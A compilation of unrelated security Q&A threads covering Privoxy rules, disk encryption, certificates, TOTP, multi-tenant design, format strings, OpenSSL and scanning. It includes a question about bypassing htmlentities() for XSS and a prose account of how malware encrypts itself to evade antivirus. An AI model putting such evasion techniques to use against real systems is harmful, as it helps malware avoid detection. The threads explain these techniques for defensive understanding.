Are there any strange things with google.com over HTTPS? So I'm always browsing the web through Privoxy using minimum these rules:

vi /etc/privoxy/user.action

{ +redirect{s@http://@https://@} }
.chrome.google.com
.code.google.com
.docs.google.com
.encrypted.google.com
.googlecode.com
.googlelabs.com
.mail.google.com

# google calendar
{ +redirect{s@http://www.google.com/calendar/@https://www.google.com/calendar/@} }
.google.com

# google notebook
{ +redirect{s@http://www.google.com/notebook/@https://www.google.com/notebook/@} }
.google.com

This is working great, in short it ensures that if I visit e.x.: a Google Notebook page, it's always using encryption. So if I forget to type "HTTPS" and I type "HTTP" to a Google notebook URL it redirects me to the HTTPS version of Google Notebook.

But... a strange thing happened a few weeks ago several times: when I used the Privoxy I just couldn't reach Gmail.com, or Google Notebook, etc. If I configured Firefox to not use Privoxy I could reach Google Notebook pages, or Gmail, etc.

The error message when I used Privoxy was [from the webbrowser]: "connection timed out". [I tried to restart Privoxy, restart the machine, and I tried it on other machines with different OS, at different places/ISP's]

so the Q: Could that be that I was attacked or there were any problems with Google Notebook, Gmail over CLEANLY* HTTPS?

*CLEANLY means that CLEANLY over HTTPS [redirecting all http://mail.google.com requests to .

I'm using Privoxy because it could defend me from sslsniff like attacks [FIXME] -> so that HTTPS connections could get degraded to HTTP.

I don't think this is the appropriate forum to ask for help debugging your privoxy rules; asking on the privoxy mailing lists might get you better answers.  That said, I do have some advice for you:

My recommendation:  I believe that there's a better way to achieve your goals.  Instead of trying to write your own custom Privoxy rules, I recommend that you use HTTPS Everywhere.

By way of background, HTTPS Everywhere is a browser extension for Firefox.  Whenever you visit a web site that supports HTTPS (and that HTTPS Everywhere is familiar with), the extension will redirect you to use the HTTPS version of the web site.  Others have built up an extensive database that HTTPS Everywhere uses to get you HTTPS protection whereever possible, without breaking your web browsing experience.

Why use HTTPS Everywhere?  Let me justify my recommendation of HTTPS Everywhere:

As a reminder, earlier this year you asked about using privoxy for these purposes, and I warned that the privoxy approach may be fragile and it would be better to use HTTPS Everywhere, if possible.  The reason is that HTTPS Everywhere is well-tested and designed for exactly this purpose, and incorporates a whitelist that understands when it is safe to perform the HTTP->HTTPS conversion, and reflects the idiosyncracies of various sites.  If you want to write your own Privoxy rules, then you will have to duplicate all that research on your own, and you should not be surprised if things frequently break for you.
If that doesn't convince you, I'll also remind you that earlier this year you asked about why your privoxy approach broke downloading Firefox add-ons, and people here gave you a nice explanation of why your privoxy rules weren't quite right and recommended using HTTPS Everywhere instead.  If you continue using Privoxy rules, I think you should be prepared that web sites may occasionally break for mysterious and tricky-to-debug reasons.


Should it remain as a general advice to encrypt the whole HDD? AFAIK, the general advice is to encrypt the whole HDD or at least the whole /home partition (and its Windows equivalent), because nowadays computers tend to store lots of personal, sensitive information and it would be a tragedy if someone manages to steal a laptop.  The possibilities of frauds, blackmails, identity thefts, etc., in such a case are endless.

It is hard to argue against this. However, there still remains one problem: ANY HDD failure, even a flip of one measly bit, means the loss of all data. Even if someone is rigorous and makes a backup copy every month, the loss of a whole month of work is still unacceptable.

Personally, until now, I've never been victim of computer thievery. However, I've experienced HDD and even SSD failures many times. In all such cases I've been still able to recover the vast majority of data of these HDDs and SSDs that were not encrypted.

Admittedly, these experiences make it hard for me to explain to myself why sticking to this general advice is a good idea.

That's not how full disk encryption works. Corruption of one bit of ciphertext will only corrupt a single disk block (usually 512 bytes). See https://en.wikipedia.org/wiki/Disk_encryption_theory. Most modern FDE schemes use XTS mode.


The reason to insert Subject Alternative Names into CA certificate I am trying to understand meaning of the Subject Alternative Name extension. The reason of usage it in SSL X.509 certificates or other end-entities certificates is mostly clear for me.

However, I didn't find any information whether it is feasible or not to use this extension in CAs certificates (self-signed or not). Is it possible in general? What can be the reason if yes?

The subject name, in a certificate, is in the subjectDN field, which is a Distinguished Name: a structure name whose initial goal was to serve as index in the Directory hierarchy (the Directory never existed in practice, but it can be imagined as a giant worldwide LDAP server).

Sometimes, there are some usages which call for notions of identity that do not map well (or at all) to the format of a DN. For instance, if a certificate is to be used for S/MIME, then it is desirable to encode email addresses in certificates, and the standard way to do that is through a Subject Alt Name extension.

As a rule, what matters is what applications will do. You can put a Subject Alt Name extension with arbitrary contents in a CA certificate. However, it is mostly useless since CA certificates are meant to be processed by applications who validate certificate chains -- these applications will ignore the SAN extension in a CA certificate. To put things briefly: the notion of identity used by CA certificates is the one needed for building and validating certificate chains, and that uses the DN (from the subjectDN and issuerDN fields). Thus, SAN extensions are not useful for CA certificates.

(Well, mostly. Theoretically, you could use Name Constraints extensions that apply restrictions on subsequent certificates in the chain, including CA certificates, and these constraints take the SAN into consideration. However, Name Constraints, though standard, suffer from lack of support from usual libraries, so in practice nobody uses them.)

(Still theoretically, it is allowed by standards to have an empty subjectDN, in which case a SAN extension must be present and contain a name of type directoryName, i.e. a DN, and that DN will then be used as if it had been found in the subjectDN field. The purpose of this specific point is unclear; I guess it was included to appease the aesthetic sense of some committee member, somewhere.)


127.0.0.1 accessing internet We are looking at an app that requires a local DNS entry for my.site.com with IP address 127.0.0.1. Our proxy is blocking this URL whenever the app attempts to use it. The app support says it's (my.site.com) is all internal communication but still needs to be whitelisted on proxy and firewall.

So the questions are:
1. What are the security implications of allowing 127.0.0.1 access to the internet?
2. Any idea why an app would be dependent on this type of configuration (I am not a developer)?

Thanks for the help!

TL;DR: It looks like the app is designed without taking into account that there are things like explicit proxies where the DNS resolution is done on the proxy. The "solution" suggested by the app support will not work. They need instead rethink the design of their app.

Given the description it looks like that the app is using a public domain name and that the DNS for this domain returns an IP local to the host - for example a lookup to localhost.example.com returns 127.0.0.1. This kind of setups is typically used to allow a public SSL certificate for a server at the local machine (bad idea since often all clients share the same private key for the certificate this way) or that some application on the internet can share cookies with the local application (i.e. www.example.com on the internet and localhost.example.com share the same cookie domain example.com).

The problem with this approach is that it does not work with setups where the hostname is not resolved at the local host but at some proxy (typically HTTP proxy or SOCKS5 proxy). In this case 127.0.0.1 does not mean the local machine where the browser runs and the local server runs and where the request is originating. Instead 127.0.0.1 is the proxy machine where the hostname is resolved to an IP address and then the traffic is forwarded to this IP.

The "solution" suggested by the app support was to allow access to the domain on the proxy. This will not help since it does not solve the problem that 127.0.0.1 from the perspective of the proxy is not the clients system but the proxy system itself. This means it will typically simply not work to access the expected local server. But in the worst case it can also introduce a security issue since often a local administrative interface is running on the proxy which might allow unauthorized access from localhost since the local system is considered trusted.

This kind of broken setup is for example done by Spotify to make access to a local web server possible from the internet, i.e. whatever.spotilocal.com returns 127.0.0.1 - see also What is the advantage of having a domain name (spotilocal) that resolves to 127.0.0.1?. And sure enough, they are running into problems with proxies - spotify blocked by squid.


DOM-Based cross-site scripting on window.location.pathname A scan with Burp has identified a DOM-Based cross-site scripting vulnerability.

The only script with a sink is the following.

Do you think it's a false positive? (Can I make it more secure in some way?)

var sPageURL = window.location.pathname;
var urlParts = sPageURL.split('/');
var page = urlParts[urlParts.length - 1];

var elem = $("a[href!=\\#]").filter(function () {
    //console.log(this.href + ' ' + this.href.toLowerCase().indexOf(page.toLowerCase()));
    return ((this.href.toLowerCase().indexOf(page.toLowerCase()) > 0) && (this.href.indexOf('#') < 0));
});

Then elem is used only to set a class on its parent, the following way:

elem.parent().addClass("active");
elem.parent().closest("li.treeview").addClass("active");

Even if page could be whatever you want, its only use is to match other links on the page to add the active class.

The worst thing you could do would be setting all links in the page as active.

In my opinion, this doesn't count as a XSS vulnerability since no malicious code would be executed.


Web Application Using Identity Federation & OTP We are running a web application using a client's identity federation to authenticate users. A new requirement is to use 2FA, we have decided to use an OTP algorithm using Java, similar to this one featured on GitHub.

As per the OTP algorithm, we need to provide a shared secret key for every user to authenticate the OTP code with. In our use case is it a valid/good practice to store a mapping between the secret key and related user(s) in the in-app database so we can later validate the OTP code.

I am new to 2FA, so I am not sure if the above approach is allowed or this is not allowed in web identity federation.

This depends on the Identity Provider (IdP) you are using for this purpose.

Case 1 : IdP supports validating TOTP
If your IdP supports validating the TOTP, then you can directly call the api and don't need to store any secret key in your app db.

Case 2 : IdP doesn't support 2FA
In this case, you will  have to store the secret key for each user and validate the TOTP in your app itself.

Example : In Shibboleth you can use this with Shibboleth-IdP3-TOTP-Auth extension, whereas some IdPs only supports SMS-based 2-factor authentication.
Baiscally, You have to go with the IdP specification, unless you can choose the IdP. If you have a choice, go for those which supports various kind of multi-factor authentication (TOTP, SMS, Hardware tokens, etc)


Securing a multi-tenant architecture I'm a computer science student looking to expand an already developed web application into using multi-tenant architecture. Considering I'm far from being a security expert, which precautions can I take to my application as secure as possible? Here's how I've been thinking to do it, most of it based on this article from msdn: http://msdn.microsoft.com/en-us/library/aa479086.aspx

Framework

Django

This is what I used to develop the software and as I exclusively use it's ORM, I should be well protected against SQL injections. Passwords are hashed and all forms are CSRF protected. I'm thinking of somehow prohibiting users from using weak passwords, ideas? Any other precautions I should take?

Database Layer

Shared Database, one Schema per Tenant

I've decided to go with this solution because this still grants me good security ("moderate degree of logical data isolation") and I don't have to change my code much. A tenant can be identified solely from the subdomain, for example tenant1.website.com. I can simply tell the database to use the schema tenant1.  Here I don't know if I should create a database user for each of the tenants, the article calls this as: "a combination of the impersonation and trusted subsystem approaches". Basically it creates an user for each tenant that has permissions only on that schema. Does this make sense? Where would I store the password for each user?

Symmetric encryption for sensitive data

I actually don't store any super important info like credit cards numbers, but there are a couple of fields which would be nice if they were a bit safer. Tenants will be storing reports that should not be visible to their competitors. As these fields will be text-heavy (max 70000 chars) I was thinking of using symmetric encryption (AES-128) on these fields. Is it ok if all tenants share the same key? Can I store the key in the source code?

Miscellaneous

Wildcard SSL Certificate

As all tenants will be on the same "server" (cloud: amazon ec2), with each tenant in it's own subdomain, it should be ok to use wildcard certificates, right? I'm thinking RapidSSL as our budget is very lean (edit: at the beginning probably only one instance).

Is there any other thing I've been completely forgetting?

Database Layer

The multi-schema approach is OK but as always the devil is in the detail.

One major isolation technique that is underappreciated is separate schemas for the data owner and for the web-app to access.

This reduces the impact of any compromise by using least privilege, taking away specific rights of the connecting database user to really destroy the database (cannot drop tables or view hidden data).
Allows the application to hide data (behind packages or views).
You can use synonyms to map between web-app user and table owner schemas.

An Example Setup to get you started.

Data Owner:   MYCLIENT_OWNER
Web User:     MYCLIENT_USER  <- Django points to this schema
Synonyms:     MYCLIENT_USER.TABLE1 -> MYCLIENT_OWNER.TABLE1 (for all required tables)
Grants:       MYCLIENT_USER Granted Select, Insert, Update Delete as appropriate.
Packages:     MYCLIENT_USER Synonyms/Grants for required Packages, Functions and Procedures.

Authentication Layer

The authentication of users can be isolated into a sso / ldap server.

This reduces the impact of a compromise of your web-app.
The surface area of the authentication service is much much smaller than the whole system.
But as always this is more complicated and usually more expensive (even if only for setup time).

Symmetric Encryption

I have heard that wallet key storage outside the database is the best practice here, but an alternative is to hide the data behind functions as above.

I suspect that a encryption service on a different box might be a good alternative, but I have never seen this design used before.


How to bypass htmlentities() function in PHP to get an XSS? Here is the PHP filter function that I'm dealing with:

function xss_check_2($data)
  {
    return htmlentities($data, ENT_QUOTES);
  }

The source code of the output (the output is the name, Peter Wazinck, at the bottom):

HTML Injection - Reflected (GET)

Enter your first and last name:

<form action="/work/bwapp/bWAPP/htmli_get.php" method="GET">

First name:

    <input id="firstname" name="firstname" type="text">

Last name:

    <input id="lastname" name="lastname" type="text">

    <button type="submit" name="form" value="submit">Go</button>

</form>

Welcome Steve Wozniak

Any method to bypass it?

From the context you provided, this filter appears safe.

Your output is in the data state (outside of any tags or attribute values). Therefore an attacker would need to inject at least an opening angle bracket (<) to introduce new HTML code.

Since htmlentities() converts all opening angle brackets to their HTML entity representation (&lt;), there is no obvious way to bypass the filter.


Should users share OSX crash logs? OSX stores app crash logs into ~/Library/Logs/DiagnosticLogs/appname_date.crash and optionally submits these anonymously back to Apple.

These contain a fair amount of debug info for the developer, and may be useful to share with devs so they can see the cause of an error.

Should users be wary of posting these in public?

HT4774 - Apple Diagnostic & Usage data
Example crash log posted to Cyberduck Trac

A developer crash log may contain personal information (e.g. names of open files or things like that). This depends on the application and on the care the developer put in the process. Generally speaking, if the application contains any personal information at all, then it is hard to guarantee that the information will not make it to a crash log, since crash logs, by definition, occur unexpectedly (if a crash is expected, it is a feature, not a bug).

You can try to reproduce the crash with the same application from a dummy account which, by definition, contains nothing about you. This guarantees a "clean crash log".


How should I manage people/technicians during an incident/outbreak? Assume there is an incident that requires immediate response, such as a virus outbreak over email, Cryptolocker actively encrypting files, or a DOS attack.

How should I approach this in a way that would not only be valued in terms of our customers (SLA, etc), but also be positively viewed by all levels of management and my peers?

I suppose there are the following phases:

Identification
Containment
Remediation

Sometimes an incident requires us to go backwards and re-identify the issue, (e.g. it's not a web server issue, it's a DOS attack), and often a well-intended technician will work on tasks that overlap and may not help the situation, or worse, they may impede other issues. (e.g. a SAN restore on the same LUN as production, killing performance)

Question

Since there are often many moving parts to solving the issues, what process can I look at for guidance to give the containment and remediation process more structure?

Some things I can think of include:

Identify affected users, business stakeholders
Identify people, vendors that are working on the solution
Communicate tasks, and status of all tasks between people and vendors working on the solution
Share audience appropriate status (helpdesk, management, executive)

There should be some kind of guidance that has already written that addresses this, e.g. in a "runbook" of sorts, but I'm not sure what it would be called.  Search terms would be appreciated

Plan your business continuity. You should identify the proper people for mission critical and non-mission critical services, which systems contain the most important information, who can decide when to take the systems offline and at what threshold.

Good overview on (wikipedia)[http://en.wikipedia.org/wiki/Incident_management]

ITIL has tons of information on this:

Activities of ICM defined by ITIL v3

Identification - detect or reported the incident Registration - the
incident is registered in an ICM System
Categorization - the incident
is categorized by priority, SLA etc. attributes defined above
Prioritization - the incident is prioritized for better utilization
of the resources and the Support Staff time
Diagnosis - reveal the
full symptom of the incident
Escalation - should the Support Staff
need support from other organizational units
Investigation and
diagnosis - if no existing solution from the past could be found the
incident is investigated and root cause found
Resolution and recovery - once the solution is found the incident is resolved
Incident closure - the registry entry of the incident in the ICM System is
closed by providing the end-status of the incident[5]

Incident Manager responsibilities

understand any incident/fault on a basic level (at least) in order to use the appropriate competences (resources)
drive the restoration team to gather sufficient
information to start an analysis maintain a general overview of the
incident (keeping the focus on the restoration via a workaround)
understand the functionality of multiple areas (RAN, Core Network,
VAS, BSS/OSS)
obtain guidance on priorities to the teams starting the
immediate urgent unexpected recovery work


How to know you're secure? How do you KNOW your website is secure?  (Accounting only for your own mistakes; i.e. assuming the libraries you use are flawless.)  For any given issue (e.g. XSS, MitM, etc.) there are lists of solutions you can look up...but most of the time you don't even know there's an issue.  Consider.  I've been working on a website.  I thought everything was solid - it uses HTTPS, the passwords are hashed, CORS is enabled for specific domains, the whole nine yards.  Everything was locked up as tight as could be.  Or so I thought.  Then, as I was browsing the internet, I discovered CSRF.  I did not know this was something I had to watch out for, so the website is vulnerable to it.

Now, I've been programming for many years.  I've read quite a bit on security, took a university class on cryptography, and (IMO) understand quite a bit about threat models, hash functions, and so forth.  If I can so easily fall prey to an (apparently common) security vulnerability, what hope does an average learned-programming-last-year kind of person stand?  How does the internet work AT ALL?  It seems like just when I know all the things I have to watch for, turns out there's another.  And another.  Not even NEW things, like Heartbleed, but things that have ALWAYS been dangerous cases.  I'm pretty confident that it's possible in theory to be perfectly secure, but there are so many things you're just supposed to magically know that it's effectively infeasible to actually be secure.

My question boils down to: is there a list where, if I do all the things, I am guaranteed to be safe?  (Assuming flawless libraries, browsers, and hosts, etc.)

Now, I realize there are varying levels of answer to this question: a stateless server that serves only public static content and is incapable of saving data is invulnerable to almost anything.  If you want state, the list of things you must do increases.  Therefore, a good answer should either give a list which covers all cases, or give several lists each of which secure a certain common set of capabilities.  (Links to lists are allowed, and perhaps even preferred.)

No, there is no comprehensive checklist that you can just complete and be "secure".

Security is not a destination, it's a mindset, and part of the product lifecycle. You need to re-evaluation as your product matures.

There are common exploits. Check the OWASP top 10 list. Since software is so custom, it wouldn't be very useful to have a list where 99% of the concerns wouldn't he applicable.

One common thing develelopers do is use static analysis code scanners to detect known vulnerabilities.


Is this fprintf statement potentially vulnerable? Here's the statement: fprintf(stderr, "Some random string\n").

Is it okay not to have a format specifier, such as %s, even though the statement doesn't take any user input? Is it still potentially exploitable? It seems like it should still at least be considered a best practice to include a format specifier. I'd appreciate some clarity on the matter. Thanks.

The statement, as you show it, is not vulnerable to anything. However, fprintf() is indeed an interpreter in its own right: what it takes as format string is not just a sequence of characters; it is source code for a specific language with directives beginning with a '%' sign.

When you use your fprintf() function like that, sooner or later, some developer will go all generic and righteous and fanatic of internationalization, and will insist on rewriting it that way:

/* in some .h file */
#define MSG_EN_42   "Some random string\n"

#if LANGUAGE_IS_ENGLISH
#define MSG_42   MSG_EN_42
#endif

/* in another .c file */
fprintf(stderr, MSG_42);

Then, some weeks/months/years later, another developer, with little grasp of C but remarkable knowledge of German/Thaï/Klingon, will change the .h to look like this:

/* in some .h file */
#define MSG_EN_42   "Some random string\n"
#define MSG_KG_42   "fs'k5 f%n59 #$dsai!\n"

#if LANGUAGE_IS_ENGLISH
#define MSG_42   MSG_EN_42
#endif
#if LANGUAGE_IS_KLINGON
#define MSG_42   MSG_KG_42
#endif

And then trouble ensues.

(Not an actual Klingon example, by the way; using true Klingon words on the unsuspecting reader would be kind of rude. But you get the idea.)

To void these issues, use a format string when a format string is due. This would lead to:

fprintf(stderr, "%s", "Some random string\n");

or, as a simpler solution:

fputs("Some random string\n", stderr);


How vulnerable is ADB (Android Debugging Bridge) over wifi now that WPA2 is cracked? How vulnerable is ADB over wifi now that WPA2 is cracked? Could hackers MITM/inject commands I am sending from my pc to my phone? My Windows PC is patched but no official fix is available for Android yet.

Some clarification: WPA2 is not cracked. The WPA2 protocol is mathematically secure however an implementation oversight in a few OS's allows for some nasty consequences with a local attacker. WPA2 can continue to be used for the foreseeable future so long as you update your devices.

ADB is fine so long as your device is >4.2.2 (which as far as I know is the only vulnerable range for Android?).

  ADB Authentication. Since Android 4.2.2, connections to ADB are authenticated with an RSA keypair. This prevents unauthorized use of ADB where the attacker has physical access to a device.

Unless the attacker steals the keypair their only option is to trick you into authorizing a new device which really isn't anything new or novel.

Source: https://source.android.com/security/enhancements/enhancements43


How to interpret encryption round diagrams I was thinking about implementing a symmetric cipher - just for the knowledge, no intent to use in my code in production.

I often find diagrams like this:

(From IDEA cipher wiki page)

I can get each "node" means an operation like XOR, but is there any reference about what each kind of symbol means?

Usually these diagrams come with a text description of the algorithm, usually the formulae that must be evaluated to obtain the cipher text. The diagram is there to illustrate the process. So if you read the text and diagram side-by-side it should be more clear what the various boxes illustrate.


If someone has a video recorded for 1 minute and then deleted immediately on Android phone, can it be leaked to the internet? I recorded 720p not good material for myself on my Android phone for 1 min or a little more. Then I delete it immediately. I didn't send the video over the internet, I just kept it on local memory and then I delete it.

Is it possible for a hacker to get the video from my phone and leak it to the internet to **** sites in this very small amount of time? I checked my cloud services like Google drive, Dropbox, etc. They did not upload anything.

Could hackers search for Android users among 1.5 billion users and choose randomly one and get his/her data like an attack on the mobile phone?

Potentially, yes it is possible that any data on a connected device has been sent to a 3rd party. any device can be compromised to do things that its owner does not wish it to do (like send data or store deleted data).

Has it happened to you? I very much doubt it.


What are the risks of protecting an API with one key only (without secret)? I understand that a lot of APIs are protected using a (possibly public) API Key, to identify who is making the request, and a secret to hmac the parameters and determine if the client is actually who claims to be.

The thing is, if I'm sure the API Key is private and use https:

What are the risks of not using a secret to "sign" the request?
The only one that comes to my mind is a MiTM modifying the parameters, but it should not be a concern if I use HTTPS, right?
Is it another layer of security just to be sure?

First: you cannot be sure that the API key is private and will remain private.

As soon as the device/product/application is on the real world, it can and will be broken. Don't rely on it.

And as soon as the key leaks, nothing will stop anybody to simply start sending requests, and you can't tell who is sending, or how to filter or block fraudulent requests.

Creating a secret is not hard, and you must do it. It will save you a lot of trouble along the way.

If a hacker breaks the application and gets the key and secret, you revoke access to that secret and he loses access to the API. All your other uses continue using the API without problem. Without the secret, you must create another key, and all your clients lose access.


Can PKCS#12 files contain multiple certificate chains? I know that PKCS#12 files can contain multiple certificates and private keys.
However, I could not find any resource where any limit was mentioned for the number of certificate chains or private keys that could be contained.
Is there a max limit of certificate chains that can be present in a PKCS#12 file?
I assumed that a max of 1 certificate chain can be created per PKCS#12 file and thus, there can only be 1 private key. Is this assumption correct?

PKCS#12 container may contain multiple encrypted private keys and public certificates. The upper limit is not strictly defined.


How to make sure the GPG's home directory is safe? I am a novice with cryptography. I am studying the GPG for encryption of my backup files.
My current understanding is that the keys are saved in the home directory of GPG. And it means that if someone can access my home directory, all of my encryption efforts would be in vain as he can decrypt my backup files with the stolen key.
But then, the GPG has to use the home directory and it seems the risk is unavoidable. (the risk of someone accessing my computer secretly and copy the home directory.)
Am I understanding the matter in the right way? If so, how can I protect my home directory?

First of all, your private key is usually encrypted, with a key derived from a passphrase (this is the passphrase you need to enter any time you want to decrypt or sign a message). The key generation from the passphrase isn't the greatest (it's an old algorithm) so you need to use a really good passphrase if you're worried about the key being stolen. You'll probably want to revoke any key that might be stolen anyhow, as quickly as possible.
With that said: GPG doesn't actually have to store the keyring in your home directory. That's the default, but you can specify an alternate location when running the program or in the config file (see the --keyring. --no-default-keyring, --secret-keyring, and --primary-keyring options in the manual). You can also just replace the GPG files with symbolic links to files elsewhere, for example on a flashdrive; then only insert the drive (or otherwise make the files available) when you intend to use them. Symlinks only need to be valid while in use; the rest of the time they can point to a non-existent path.
For that matter, GPG has the ability to store keys on a hardware security module. This is almost certainly the most secure option. There are various models available, most of which are either designed for permanent installation in a computer or connect via USB (some, like smart cards, require a special reader). A common - but not the only - choice for a USB removable security module are the various generations of Yubikey, which can store your GPG keys more securely than putting them on a simple flashdrive, and you can make GPG use those keys.
Finally, though, consider your threat model. If you're worried about a program that might have read access to your home directory, it must be either running as you or as super-user (root/Administrator) and either way it has other ways to compromise you. It could alter your PATH environment variable so that the "gpg" program points to a malicious script that steals your passphrase, and possibly also the contents of every encrypted message, in addition to your key files. There are other, potentially less-obvious, ways that it could steal the secrets too. The point being, once something malicious on your PC can read your ~/.gnupg directory, you have bigger problems than whether it can just read the files therein and whether your passphrase is good enough. If your threat model includes offline attacks - somebody stealing your whole PC and removing its hard disk, for example - then encryption is your best protection (after as much physical security as is practical), and rather than rely exclusively on the private key's passphrase, you should just encrypt the whole /home directory and possibly everything except the boot partition, with a strong passphrase and/or additional protections such as USB devices, TPM, etc.


How to specifiy -CAPath using OpenSSL in windows to perform TLS handshake I'm new to using OpenSSL and currently using it in Windows trying to troubleshoot for the party connecting to our server.

openssl s_client -connect servername:443

CONNECTED(00000134)
depth=0 CN = servername
verify error:num=20:unable to get local issuer certificate
verify return:1
depth=0 CN = servername
verify error:num=21:unable to verify the first certificate
verify return:1
[other details follow...]

After a few search I realize that I need to specify the path for the trusted root ca.

-CApath directory
The directory to use for server certificate verification. This directory must be in "hash format", see verify for more information. These are also used when building the client certificate chain.

-CApath /etc/ssl/certs/

The only problem I have is that most online example are using unix based systems so the examples are usually like the one just above. I'm not too familiar with unix so I assume if my CA are in

C:\OpenSSL-Win64\bin\cas

then the ca path parameter goes like this one below. The CA are in .cer / .crt format.

-CApath /c/OpenSSL-Win64/bin/cas

However, I still get the same result so I'm not so sure if I understand this correctly.

#Use someone else's PEM bundle.
You can not use the Windows certificate store directly with OpenSSL. Instead OpenSSL expects its CAs in one of two ways:

Many files: In a special folder structure. One file per certificate with regular names like Verisign-CA.pem. (This is so that humans can understand the cert store.) And then a symlink to each such file. And the symlinks have weird names like 01c34cfa... and so on. They are named for a hash value of the certificate file. (This is so that OpenSSL can understand the cert store. More info: man page for openssl verify.) If you want to add a cert, you just drop the file in the directory and run a script that creates the symlink for you.

You can specify the path to that folder with the CApath command line argument (Case sensitive: Large CA, small path.):
    -CApath arg   - PEM format directory of CA's

Single file: All CA certificates lumped together in a PEM bundle.

You can specify the path to that file with the CAfile command line argument (Case sensitive: Large CA, small file.):
    -CAfile arg   - PEM format file of CA's

And one easy way to get such a PEM bundle is to download it from the testssl.sh site: https://github.com/drwetter/testssl.sh/blob/3.1dev/etc/Microsoft.pem
And this will then work with a Windows installation of OpenSSL:
    c:\> openssl s_client -connect google.com:443 -CAfile "c:\Microsoft.pem"

...

    Timeout   : 300 (sec)
    Verify return code: 0 (ok)
    ---


Why don't anti-viruses detect encrypted viruses in decryption? Some viruses are encrypted so that the anti-virus can't identify them, but what I don't understand is: why wouldn't the anti-virus detect them, considering they have to decrypt themselves before running? Wouldn't the anti-virus understand the malicious code in that decryption step, before the virus could run?

There are a few ways malware could encrypt itself to thwart antivirus detection:

Derive a key from target specific information like hashes of known files, user names, and network shares. Check out Ars Technica's description of Gauss.
Encrypt itself with a random, but relatively short key. When the malware runs, it will have to brute force the key. Many AV sandboxes have a timeout on the amount of time a particular sample can run, if the brute force process takes longer than this timeout, the malicious payload won't be decrypted.
Retrieve the key from the internet. The attacker may host a web server with the key on it. They then could use timing, IP information, or client based parameters to determine if they key should be sent.

Of course, in order to run the encrypted payload, the malware must be decrypted. If it is decrypted, antivirus may detect it, but the malware may detect the AV first.

Finally, the mechanism of having an encrypted payload using host based, random, or network based keys may itself be used as a signature for malware. The AV may not know what the sample would have done, but it could prevent it from running in the first place.


Nessus HTML5 version 5.0.3 - PCI Scan I've been searching for a couple days, even contacting support, to find out if Nessus has a bundle that scans for PCI compliance. It selects all 44 categories and regardless of what kind of scan I create (under policies) this is the default selection. Because this is the HTML5 version there seems to be very little documentation/resources online.

Does anyone know the minimal requirements? I've done a filter search for any plugin that has the name "PCI" and this takes it down to a handful but I'm not sure if this excludes a ton of things either.

There exists a policy shipped as part of the distribution service called "Prepare for PCI-DSS audits (section 11.2.2)". This is a policy that has all plugins enabled, TCP scan of all ports, safe checks enabled, web tests enabled, the PCI-DSS setting enabled, and several other things that are less important. I would recommend copying this policy to something else and modifying it instead.

Many of the checks used are local, so you will definitely need to add credentials for an account that has Administrator or root level privileges. For Windows that user should be a Domain Admin or be in the Local Administrators group. For Linux/UNIX the user should have escalation rights, this would be sudo, su, enable, or whatever your distribution uses.

You also need to take into account what type of services the target host is running. Is that server hosting a web application? Web testing is enabled, but it will likely require authentication to use. If your website is using form based auth, then you can go to the 'Preferences' tab, from the drop down select "HTTP login page" and configure it from there. If it's doing Basic Auth then pick the "Login configurations" drop down. Is your server hosting a database? Go to the "Database settings" page and punch in the right values.

You should also look into the various and sundry audit policies. If you log into the Support Center and go to the Downloads page you'll see a link for "PCI Audit Policies". That contains audit policies for many different operating systems. Download the appropriate one and add it to your scan. All of the audits are added, and configured, within the "Preferences" tab. Just pick the appropriate entry from the drop-down box for whatever policy you're using. While you're at it, look through the other audit policies as well. They'll mostly based off DISA STIGs, CIS documents, or FSMA. However, some are written against best practices documents published by the vendors, such as the PostgreSQL audits. Some of the audits may require local customizations so be wary of taking the PASS/FAIL marks as Truth. Keep in mind that the audits are only available to ProfessionalFeed customers (you are a ProfessionalFeed customer right?).

The real take away is that while the shipped scan policy does get you started it is by no means complete. You'll need to customize it to work in your environment. After all,

Alternatively, if you use the Perimeter Service they have much of this already set up and ready to go. This service is sanctioned as an ASV by the PCI Council. A full write-up on using it is available on the Tenable blog.

The information provided above is in no way intended to be taken as official advice and is provided without warrant, guarantee, or good faith. The statements provided do not represent the views of the PCI council, any QSA/ASV, my employer, your employer, the set of all Rorys, this site, any other site, nor the ISP on which you are viewing this message.


Any security value in limiting time of day for VPN? A friend of mine who is a night owl mentioned she frequently has to stop working because her company's VPN shuts down at a certain time every night and comes back on in the morning.  She was told this is for "security reasons".
I have worked in many companies with VPN access and have never encountered this.  It seems like a highly questionable practice since it is clearly having a negative business impact and I can't see how it would add any significant security value.
Is this practice respected in the industry?

I have encountered and even configured this. The idea is to reduce the attack surface by only allowing remote access during the time when remote access is expected.
Your friend is doing something unexpected. And that's OK. The security people should account for and support this (if it is in line with business need - your friend might actually be violating a specific work policy, too, or not, but I've seen business policies like this for various reasons).
So, yes, this time restriction is normal and it is for legitimate security reasons. But that doesn't necessarily mean that your friend cannot also get a security exception so she can do her work.


Can I trust my antivirus' assessment of my computer as clean, if it previously found threats? Yesterday, I went to my Recycle Bin (for the first time in a while) to purge a bunch of files I had sent there. When I clicked on the folder, my antivirus warned me of a trojan out of the blue. Later, while moving my folder for NetHack to a USB, my antivirus also warned me of a trojan among the files there, which I frankly found odd.1 (I would consider the developers trustworthy, at least, although perhaps the site they host their installation on isn't.)

With this in mind, I ran a full scan of my computer, which came clean, apart from a few web trackers and the two trojans that had come up earlier. These were all deleted. (Being paranoid, I ran a second scan afterwards; the scan indicated that my computer was fine.)

Can I reasonably assume that my computer is fine now? I don't think I have the resources to boot from a back-up, so I rather avoid doing something of the sort unless absolutely necessary.

I'm not sure where these files came from. I try to be careful with my computer usage habits, but I suppose it's possible I got something when I ran into some sketchy sites.

You can't, best option would be to reinstall the os and avoid downloading suspicious files. if you cant do that run a virus scan that doesn't run on the current os such as http://support.kaspersky.com/us/viruses/rescuedisk or something similar. Some virus can and will hide from regular virus scanners or outright prevent them from running.
If you use your computer for anything important you need to reinstall the os. You dont want to leave a risk of leaving any malware behind.


Difference between nmap scan results while firewall on vs off I am trying to find out the difference what ubuntu firewall is doing.

First I disabled the firewall, using sudo ufw disable and run nmap scan over localhost sudo nmap 127.0.0.1. I got the result

Starting Nmap 6.40 ( http://nmap.org ) at 2016-10-09 14:48 IST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000016s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE
80/tcp   open  http
631/tcp  open  ipp
3306/tcp open  mysql

After enabling firewall, I run nmap, and got same result. So what is the difference ?

After enabling firewall, I run nmap, and got same result. So what is the difference ?

Like you said, there is no difference. The reason is that the default configuration of UFW allows loopback traffic, i.e. traffic involving 127.0.0.1.

